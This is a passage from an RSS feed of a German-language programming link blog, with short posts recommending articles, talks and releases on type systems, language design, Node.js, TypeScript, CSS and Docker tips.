</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/01/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/01/2.html</guid><pubDate>Sat, 01 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jorengarenar.github.io/blog/less-known-c&quot;&gt;Few lesser known tricks, quirks and features of C&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/03/0.html</guid><pubDate>Mon, 03 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://felipe.rs/2017/07/07/where-do-type-systems-come-from/&quot;&gt;Where do Type Systems Come From?&lt;/a&gt; (2017)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/03/1.html</guid><pubDate>Mon, 03 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein toller Post darüber, dass das Error-Model einer der wichtigsten Teile in einer Programmiersprache ist: &lt;a href=&quot;https://joeduffyblog.com/2016/02/07/the-error-model/&quot;&gt;The Error Model&lt;/a&gt; (2016)&lt;/p&gt;
&lt;p&gt;Geht auch ein bisschen auf Midori (ein experimentelles OS von MS Research) ein, das mit einer Erweiterung von C# entwickelt wurde.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/05/0.html</guid><pubDate>Wed, 05 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/500607/785210&quot;&gt;What are the lesser known but useful data structures?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/05/1.html</guid><pubDate>Wed, 05 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-2-beta/&quot;&gt;TypeSript 5.2 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/07/0.html</guid><pubDate>Fri, 07 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://glouw.com/2018/04/14/Good-Makefiles.html&quot;&gt;Good Makefiles&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/09/0.html</guid><pubDate>Sun, 09 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eli Bendersky über &lt;a href=&quot;https://eli.thegreenplace.net/2018/type-inference/&quot;&gt;Type Inference&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/11/0.html</guid><pubDate>Tue, 11 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sqlite.org/sqldiff.html&quot;&gt;Sqldiff: SQLite Database Difference Utility&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/13/0.html</guid><pubDate>Thu, 13 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.math.bas.bg/bantchev/misc/az.pdf&quot;&gt;The A-Z of Programming Languages - interviews with programming language creators&lt;/a&gt; (PDF)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/14/0.html</guid><pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein &lt;a href=&quot;https://nginx-playground.wizardzines.com&quot;&gt;Playground für nginx&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/14/1.html</guid><pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;defer&lt;/code&gt; für Shell-Skripte: https://cedwards.xyz/defer-for-shell/&lt;/p&gt;
</content:encoded><language>de-DE</language><category>bash</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/15/0.html</guid><pubDate>Sat, 15 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Talktipp: &lt;a href=&quot;https://player.vimeo.com/video/290376045&quot;&gt;Build impossible programs&lt;/a&gt; von Julia Evans.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/15/1.html</guid><pubDate>Sat, 15 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lesetipp: &lt;a href=&quot;https://borretti.me/article/why-checked-exceptions-failed&quot;&gt;Why Checked Exceptions Failed&lt;/a&gt;
Dazu gibt es noch einen Artikel mit Anders Hejlsberg (C#-Erfinder, wo es keine checked exceptions gibt): &lt;a href=&quot;https://www.artima.com/articles/the-trouble-with-checked-exceptions&quot;&gt;The Trouble with Checked Exceptions&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/17/0.html</guid><pubDate>Mon, 17 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Von der EU: &lt;a href=&quot;https://edpb.europa.eu/system/files/2022-03/edpb_03-2022_guidelines_on_dark_patterns_in_social_media_platform_interfaces_en.pdf&quot;&gt;Guidelines on Dark patterns in social media platform interfaces: How to recognise and avoid them&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/19/0.html</guid><pubDate>Wed, 19 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Artikel-Tipp: &lt;a href=&quot;https://en.wikipedia.org/wiki/Substructural_type_system&quot;&gt;Substructural type system&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/21/0.html</guid><pubDate>Fri, 21 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://okmij.org/ftp/Computation/typeclass.html&quot;&gt;Implementing, and Understanding Type Classes&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/23/0.html</guid><pubDate>Sun, 23 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein &lt;a href=&quot;https://github.com/Hiestaa/3D-Lsystem&quot;&gt;3D-L-System&lt;/a&gt; (&lt;a href=&quot;https://de.wikipedia.org/wiki/Lindenmayer-System&quot;&gt;Lindenmayer-System&lt;/a&gt;)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/25/0.html</guid><pubDate>Tue, 25 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: Dieses Pattern, wo eine Basisklasse sich selbst als Template (oder Typparameter) übergibt, hat einen Namen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class T&amp;gt;
class Base
{
    // methods within Base can use template to access members of Derived
};
class Derived : public Base&amp;lt;Derived&amp;gt;
{
    // ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Name: &lt;a href=&quot;https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern&quot;&gt;Curiously recurring template pattern&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/25/1.html</guid><pubDate>Tue, 25 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.intel.com/content/www/us/en/developer/articles/technical/advanced-performance-extensions-apx.html&quot;&gt;Intel erweitert ihren Befehlssatz&lt;/a&gt;. Gibt u. a. mehr General-Purpose-Register (von 16 auf 32).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/28/0.html</guid><pubDate>Fri, 28 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://yourlogicalfallacyis.com&quot;&gt;Liste an logischen Fehlschlüssen&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/30/0.html</guid><pubDate>Sun, 30 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich habe mal über die Hilbert-Kurve &lt;a href=&quot;/2021/11/23/ds.html&quot;&gt;geschrieben&lt;/a&gt; und dass man damit eine Karte vom Internet erstellen kann.&lt;/p&gt;
&lt;p&gt;Hier hat das auch mal jemand gemacht: &lt;a href=&quot;https://blog.benjojo.co.uk/post/scan-ping-the-internet-hilbert-curve&quot;&gt;Mapping the whole internet with Hilbert curves&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/01/0.html</guid><pubDate>Tue, 01 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturen für Spieleentwicklung: &lt;a href=&quot;https://www.gamedeveloper.com/programming/data-structures-part-1-bulk-data&quot;&gt;Bulk Data&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/04/0.html</guid><pubDate>Fri, 04 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://topenddevs.com/podcasts/javascript-jabber/episodes/bun-js-with-jarred-sumner-jsj-584&quot;&gt;Bun.js with Jarred Sumner&lt;/a&gt; (Podcast)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/09/0.html</guid><pubDate>Wed, 09 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://youtu.be/i2oy0WvFvLA&quot;&gt;The Origin of Javascript with Brendan Eich&lt;/a&gt; (Podcast)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/12/0.html</guid><pubDate>Sat, 12 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.prototypr.io/this-aint-disney-a-practical-guide-to-css-transitions-and-animations-a8b87e7c5531&quot;&gt;This Ain’t Disney: A practical guide to CSS transitions and animations&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/15/0.html</guid><pubDate>Tue, 15 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.cs.uaf.edu/users/chappell/public_html/class/2018_spr/cs331/docs/types_primer.html&quot;&gt;A Primer on Type Systems&lt;/a&gt; (2018)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/18/0.html</guid><pubDate>Fri, 18 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.ybrikman.com/writing/2014/04/09/six-programming-paradigms-that-will/&quot;&gt;Six programming paradigms that will change how you think about coding&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Concurrent by default&lt;/li&gt;
&lt;li&gt;Dependent types&lt;/li&gt;
&lt;li&gt;Concatenative languages&lt;/li&gt;
&lt;li&gt;Declarative programming&lt;/li&gt;
&lt;li&gt;Symbolic programming&lt;/li&gt;
&lt;li&gt;Knowledge-based programming&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/24/0.html</guid><pubDate>Thu, 24 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://dist-prog-book.com/chapter/3/message-passing.html&quot;&gt;Message Passing and the Actor Model&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/28/0.html</guid><pubDate>Mon, 28 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eli Bendersky: &lt;a href=&quot;https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/&quot;&gt;Where the top of the stack is on x86&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/08/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/08/30/0.html</guid><pubDate>Wed, 30 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-watch-in-psql/&quot;&gt;Die CLI von Postgres hat ein Watch-Command&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/01/0.html</guid><pubDate>Fri, 01 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ask HN: &lt;a href=&quot;https://news.ycombinator.com/item?id=18236396&quot;&gt;What&apos;s your favorite elegant/beautiful algorithm?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/05/0.html</guid><pubDate>Tue, 05 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessante Sprache von MS research: &lt;a href=&quot;https://koka-lang.github.io&quot;&gt;Koka&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Die Sprache handhabt Seiteneffekte mit einer Art Type-State.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/06/0.html</guid><pubDate>Wed, 06 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://philna.sh/blog/2023/09/05/nodejs-supports-dotenv/&quot;&gt;Node 20.6&lt;/a&gt; ist da und kann nativ .env-Files laden. Damit kann man in einfachen Fällen das dotenv-Package rauswerfen. Nicht nur das, denn die Env-File wird von Node selbst geladen, nicht von der Anwendung. Das heißt, damit kann man auch Env-Vars setzen, die das Verhalten von Node selbst beeinflussen (z. B. &lt;code&gt;NODE_OPTIONS&lt;/code&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/07/0.html</guid><pubDate>Thu, 07 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HLI: Der &lt;code&gt;X-&lt;/code&gt;-Präfix für eigene HTTP-Header wurde bereits vor über 10 Jahren deprecated und wird &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6648&quot;&gt;nicht mehr empfohlen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/09/0.html</guid><pubDate>Sat, 09 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://spectrum.ieee.org/ted-nelson-on-what-modern-programmers-can-learn-from-the-past&quot;&gt;Ted Nelson: on What Modern Programmers Can Learn From the Past&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/14/0.html</guid><pubDate>Thu, 14 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/hanickadot/compile-time-regular-expressions&quot;&gt;Compile time regular expressions für C++&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/15/0.html</guid><pubDate>Fri, 15 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://solarianprogrammer.com/2018/01/10/writing-minimal-x86-64-jit-compiler-cpp/&quot;&gt;Writing a minimal x86-64 JIT compiler in C++&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/18/0.html</guid><pubDate>Mon, 18 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://de.wikipedia.org/wiki/Poes_Gesetz&quot;&gt;Poes Gesetz&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Poes Gesetz (englisch Poe’s law) beschreibt ein Phänomen aus der Welt der netzwerkbasierten Kommunikation. Es besagt, dass es darin nicht möglich ist, eine politisch oder religiös extremistische Aussage so zu parodieren, dass die Parodie als solche eindeutig erkennbar ist, sofern man dies nicht explizit durch einen Smiley o. Ä. kenntlich macht.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/09/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/09/19/0.html</guid><pubDate>Tue, 19 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://foojay.io/today/java-21-is-available-today-and-its-quite-the-update/&quot;&gt;Java 21&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/10/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/10/02/0.html</guid><pubDate>Mon, 02 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://docs.python.org/3.12/whatsnew/3.12.html&quot;&gt;Python 3.12&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/10/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/10/11/0.html</guid><pubDate>Wed, 11 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://modern-sql.com/reserved-words-empirical-list&quot;&gt;SQL reserved words – An empirical list&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/10/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/10/18/0.html</guid><pubDate>Wed, 18 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://openjsf.org/announcement/2023/10/17/node-js-21-available-now&quot;&gt;Node.js 21&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Gibt keine wirklich spannenden Updates. Mein Highlight ist das hier:
&amp;gt; A new experimental flag to flip module defaults (–experimental-default-type) – Node.js has two module systems: CommonJS modules and ECMAScript modules. Node.js treats files with a .js extension by default as CommonJS modules. This can now more easily be flipped.&lt;/p&gt;
&lt;p&gt;Damit kann man jetzt immerhin ESM-Dateien ausführen, ohne eine package.json anzulegen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/10/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/10/23/0.html</guid><pubDate>Mon, 23 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-3-beta/&quot;&gt;TypeScript 3.5 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/10/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/10/31/0.html</guid><pubDate>Tue, 31 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Talkempfehlung: &lt;a href=&quot;https://youtu.be/HdV9QuvgS_w&quot;&gt;Windows and Linux: A Tale of Two Kernels&lt;/a&gt; von &lt;a href=&quot;https://www.youtube.com/@mark-russinovich&quot;&gt;Mark Russinovich&lt;/a&gt; auf der Tech-Ed 2004. Er hat den Talk aber auch vor den MS-Kernel-Devs gehalten und die Folien von diversen Leuten (u. A. Linus Torvalds) reviewen lassen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>kernel</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/05/0.html</guid><pubDate>Sun, 05 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Talkempfehlung: &lt;a href=&quot;https://www.youtube.com/watch?v=mrGfahzt-4Q&quot;&gt;Email vs Capitalism, or, Why We Can&apos;t Have Nice Things&lt;/a&gt; von Dylan Beattie auf der NDC.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>talks</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/06/0.html</guid><pubDate>Mon, 06 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gestern hatte ich einen Talk über E-Mail von Dylan Beattie. Der Speaker hat mir so sehr gefallen, dass ich geschaut habe, welche Talks er noch so gehalten hat. Gerade habe ich &lt;a href=&quot;https://www.youtube.com/watch?v=HUKjPoWNlRM&quot;&gt;From Hot Metal to HTML: The Story of Typography&lt;/a&gt; gesehen. Empfehlung geht raus!&lt;/p&gt;
&lt;p&gt;Auf &lt;a href=&quot;https://dylanbeattie.net/talks/&quot;&gt;seiner Webseite&lt;/a&gt; sind noch mehr. Die werde ich jetzt nacheinander mal durchklicken.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>talks</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/11/0.html</guid><pubDate>Sat, 11 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://alan.norbauer.com/articles/browser-debugging-tricks&quot;&gt;Browser Debugging Tricks&lt;/a&gt;. Sind ein paar coole dabei. Besonders die copy-Funktion kannte ich noch nicht.&lt;/p&gt;
&lt;p&gt;Noch mehr gibt es hier: &lt;a href=&quot;https://darekkay.com/blog/debugging-dynamic-content/&quot;&gt;Debugging Dynamic Content&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/14/0.html</guid><pubDate>Tue, 14 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-dotnet-8/&quot;&gt;.NET 8&lt;/a&gt; ist da.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/20/0.html</guid><pubDate>Mon, 20 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-3/&quot;&gt;TypeScript 5.3&lt;/a&gt;,&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/23/0.html</guid><pubDate>Thu, 23 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kennt ja aus Docker-Multistage-Builds das &lt;code&gt;COPY --from=build&lt;/code&gt;, um eine Datei aus einer anderen Stage zu kopieren.&lt;/p&gt;
&lt;p&gt;Gerade habe ich beim Docker-Image von composer gesehen, dass das nicht nur beschränkt auf Images im selben Multi-stage-Build ist. Man kann dort jedes Image angeben.&lt;/p&gt;
&lt;p&gt;Also kann man statt dem hier:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RUN php -r &quot;copy(&apos;https://getcomposer.org/installer&apos;, &apos;composer-setup.php&apos;);&quot; \
        &amp;amp;&amp;amp; php composer-setup.php --install-dir=/usr/local/bin --filename=composer \
        &amp;amp;&amp;amp; php -r &quot;unlink(&apos;composer-setup.php&apos;);&quot; \
        &amp;amp;&amp;amp; composer --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Auch das hier machen und die Binary aus dem offiziellen composer-Image kopieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;COPY --from=composer /usr/bin/composer /usr/bin/composer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nachteil dabei ist, dass der Builder dafür das komplette Image runterladen muss. Ist in manchen Situationen vielleicht ganz praktisch.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/27/0.html</guid><pubDate>Mon, 27 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hier ein guter Artikel über Tagged Pointers: &lt;a href=&quot;https://muxup.com/2023q4/storing-data-in-pointers&quot;&gt;Storing data in pointers&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/11/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/11/28/0.html</guid><pubDate>Tue, 28 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HLI: &lt;a href=&quot;https://chriscoyier.net/2023/11/27/the-hanging-punctuation-property-in-css/&quot;&gt;The &lt;code&gt;hanging-punctuation property&lt;/code&gt; in CSS&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/12/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/12/19/0.html</guid><pubDate>Tue, 19 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.omgubuntu.co.uk/2023/12/firefox-121-released-now-defaults-to-wayland-on-linux&quot;&gt;Firefox 121 ist da&lt;/a&gt;. Unterstützt jetzt &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/text-wrap&quot;&gt;&lt;code&gt;text-wrap: balance&lt;/code&gt;&lt;/a&gt; und defaultet unter Linux jetzt auf Wayland.&lt;/p&gt;
